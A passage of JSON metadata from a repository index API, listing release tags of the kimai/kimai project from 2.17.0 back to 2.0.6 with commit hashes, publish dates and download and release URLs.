epos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.17.0/manifests"},{"name":"2.16.1","sha":"661bb163428b68b19bc9dc9701dffd285dee6732","kind":"commit","published_at":"2024-05-03T09:38:33.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.16.1","html_url":"https://github.com/kimai/kimai/releases/tag/2.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.16.1/manifests"},{"name":"2.16.0","sha":"99c296a751d66cdc64196af8f2daaf7f9b8dd416","kind":"commit","published_at":"2024-05-01T12:24:24.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.16.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.16.0/manifests"},{"name":"2.15.0","sha":"9dc9c71a469b70e2c57b1412d48d58a64a6c298e","kind":"commit","published_at":"2024-04-13T15:27:51.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.15.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.15.0/manifests"},{"name":"2.14.0","sha":"afe065650256c102292981324260cff03a7c1e1b","kind":"commit","published_at":"2024-04-05T21:51:16.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.14.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.14.0/manifests"},{"name":"2.13.0","sha":"dee90bb15e98ddaa7e3d4889288dc0671fb2f8ac","kind":"commit","published_at":"2024-03-10T14:35:59.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.13.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.13.0/manifests"},{"name":"2.12.0","sha":"e293d62aa1f7a87bab354c82d54c257959f43f53","kind":"commit","published_at":"2024-02-22T17:00:51.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.12.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"c2afebbb5efc3531a9cc3d687bd7a99a36e7cad9","kind":"commit","published_at":"2024-02-02T14:48:11.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.11.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.11.0/manifests"},{"name":"2.10.0","sha":"12ef19df28fd9bf2bf4a849664bea681c2fe55fd","kind":"commit","published_at":"2024-01-21T00:59:30.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.10.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"6531e7fe52ce362636d4e7903575e211c25564a8","kind":"commit","published_at":"2024-01-10T11:43:07.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.9.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"8eeb9c120a674532a75622b0ba322e4bd1f50a04","kind":"commit","published_at":"2024-01-02T23:28:35.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.8.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"ad645f5b584ebfd6e16c059a09c5413e992a20a6","kind":"commit","published_at":"2023-12-26T13:49:11.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.7.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"e23d0474fd92d570bacab6a2bce7bd6134b78ad9","kind":"commit","published_at":"2023-12-17T16:05:38.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.6.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"e0769bc3dcc3c3595ea28ceb7ce89200b4a27a31","kind":"commit","published_at":"2023-12-01T21:40:02.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.5.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.5.0/manifests"},{"name":"2.4.1","sha":"16d4a691f856c3eb5f4ddda578faf354a4ce0b2b","kind":"commit","published_at":"2023-11-20T20:33:36.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.4.1","html_url":"https://github.com/kimai/kimai/releases/tag/2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.4.1/manifests"},{"name":"2.4.0","sha":"20164295f87331e6fe2aaf8e5a28c2bc74f42a36","kind":"commit","published_at":"2023-11-19T15:05:43.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.4.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"6a828cc9bd3769fc24d486f52e3153cbf5ff5299","kind":"commit","published_at":"2023-11-08T21:30:22.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.3.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.3.0/manifests"},{"name":"2.2.1","sha":"c840fee9115d4c9990085568efd26f8ff6a58f07","kind":"commit","published_at":"2023-11-01T00:16:17.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.2.1","html_url":"https://github.com/kimai/kimai/releases/tag/2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.2.1/manifests"},{"name":"2.2.0","sha":"e06acc95c5ae9a31f74e3ad9f5e115962269eaa2","kind":"commit","published_at":"2023-10-31T16:03:26.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.2.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"38e37f1c2e91e1acb221ec5c13f11b735bd50ae4","kind":"commit","published_at":"2023-10-19T09:21:50.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.1.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.1.0/manifests"},{"name":"2.0.35","sha":"7a5b12762afa53dd59749b218bb2d2acc8ead665","kind":"commit","published_at":"2023-09-23T16:15:22.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.35","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.35/manifests"},{"name":"2.0.34","sha":"de419350b275cb5cad8a8595a62f6adb0402b942","kind":"commit","published_at":"2023-09-17T20:32:01.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.34","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.34/manifests"},{"name":"2.0.33","sha":"6e1207578e3716849d0bd6308a9bc427327229a6","kind":"commit","published_at":"2023-09-07T20:24:08.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.33","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.33/manifests"},{"name":"2.0.32","sha":"31348da4c054eba83fc8d786bfe306f54a10a71b","kind":"commit","published_at":"2023-08-31T13:33:53.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.32","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.32/manifests"},{"name":"2.0.31","sha":"636422e34293cd7155c22050b6a65faca85208b6","kind":"commit","published_at":"2023-08-21T18:38:32.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.31","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.31/manifests"},{"name":"2.0.30","sha":"adc07799126f76887250f5cc04f0e7a662f2fad7","kind":"commit","published_at":"2023-08-16T16:20:14.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.30","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.30/manifests"},{"name":"2.0.29","sha":"b831532323582c71ea92ee8875484566202d4859","kind":"commit","published_at":"2023-07-26T13:16:59.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.29","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.29/manifests"},{"name":"2.0.28","sha":"385753fbc38ae140723f2968b9d28ee1d3c23ccd","kind":"commit","published_at":"2023-07-09T13:27:27.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.28","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.28/manifests"},{"name":"2.0.27","sha":"651f812da83b9ba46cc2297229b1444c7902bb36","kind":"commit","published_at":"2023-07-04T15:01:29.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.27","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.27/manifests"},{"name":"2.0.26","sha":"ce7fe67fcc5e915f1f60fbd379091974f9124145","kind":"commit","published_at":"2023-06-09T17:16:36.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.26","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.26/manifests"},{"name":"2.0.25","sha":"0663995d06b318710e162aaed3361d8f117c1dca","kind":"commit","published_at":"2023-06-06T21:05:20.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.25","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.25/manifests"},{"name":"2.0.24","sha":"2ba9cff28123d3e2711613f52a3655b531134597","kind":"commit","published_at":"2023-05-26T20:39:07.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.24","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.24/manifests"},{"name":"2.0.23","sha":"97092acae947e838b2ab38399d32993059790b48","kind":"commit","published_at":"2023-05-21T15:49:44.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.23","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.23/manifests"},{"name":"2.0.22","sha":"f0298335ee793d789c6ab763e8454a0d359fe83e","kind":"commit","published_at":"2023-05-20T10:08:36.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.22","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.22/manifests"},{"name":"2.0.21","sha":"9bd5965ecdea63748e46f77551451f125e2c762e","kind":"commit","published_at":"2023-05-17T13:02:10.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.21","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.21/manifests"},{"name":"2.0.20","sha":"29624354a21aa1058d5b0a514d4e4d816f8c81a6","kind":"commit","published_at":"2023-05-15T20:30:37.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.20","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.20/manifests"},{"name":"2.0.19","sha":"4b2a3669e62fdc56100d23da911b657fd444084c","kind":"commit","published_at":"2023-05-12T12:45:51.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.19","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.19/manifests"},{"name":"2.0.18","sha":"1099e76244c48623032810665f3f930efceffb1d","kind":"commit","published_at":"2023-05-08T15:11:55.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.18","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.18/manifests"},{"name":"2.0.17","sha":"66413d789c87743d3b3944001b763865a6bc0f9a","kind":"commit","published_at":"2023-05-01T22:40:43.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.17","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.17/manifests"},{"name":"2.0.16","sha":"01e26dca9eb6bde3a5f810ad971644f65a5b2d20","kind":"commit","published_at":"2023-04-27T16:48:31.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.16","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.16/manifests"},{"name":"2.0.15","sha":"046ed313c9c684dbc6295cb70e250253a34d9eab","kind":"commit","published_at":"2023-04-15T22:44:00.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.15","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.15/manifests"},{"name":"2.0.14","sha":"0c397e5080478a5880e3909dd9c3755f7c568393","kind":"commit","published_at":"2023-04-05T17:14:49.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.14","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.14/manifests"},{"name":"2.0.13","sha":"01226a12434a6379c1c8f50e70035821cfa2d4a5","kind":"commit","published_at":"2023-03-29T23:08:15.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.13","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.13/manifests"},{"name":"2.0.12","sha":"04b5eb4c38fa46cf7ee76eeb348c35d3669938dd","kind":"commit","published_at":"2023-03-23T23:47:36.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.12","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.12/manifests"},{"name":"2.0.11","sha":"3a5d7a62de10dcab1cc5ef0f971b7d81307c6fbe","kind":"commit","published_at":"2023-03-21T11:42:18.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.11","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.11/manifests"},{"name":"2.0.10","sha":"f007697a73abfe39ba22d77ed89a893dfe1508d8","kind":"commit","published_at":"2023-03-15T22:02:28.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.10","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.10/manifests"},{"name":"2.0.9","sha":"1a8c78944acdde24a75b544d7bd04bf51758f984","kind":"commit","published_at":"2023-03-14T22:51:49.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.9","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.9/manifests"},{"name":"2.0.8","sha":"8449eafcb65373ed6f6bacd9ec69943fa511b2e5","kind":"commit","published_at":"2023-03-13T00:48:53.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.8","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.8/manifests"},{"name":"2.0.7","sha":"1310285133adb1f78e018cbbef3e7d2f4b797e50","kind":"commit","published_at":"2023-03-08T22:30:45.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.7","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.7/manifests"},{"name":"2.0.6","sha":"9d503300f63eba68bcd4c1f828fefffd3fd4cde5","kind":"commit","published_at":"2023-03-07T23:38:10.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.6","html_u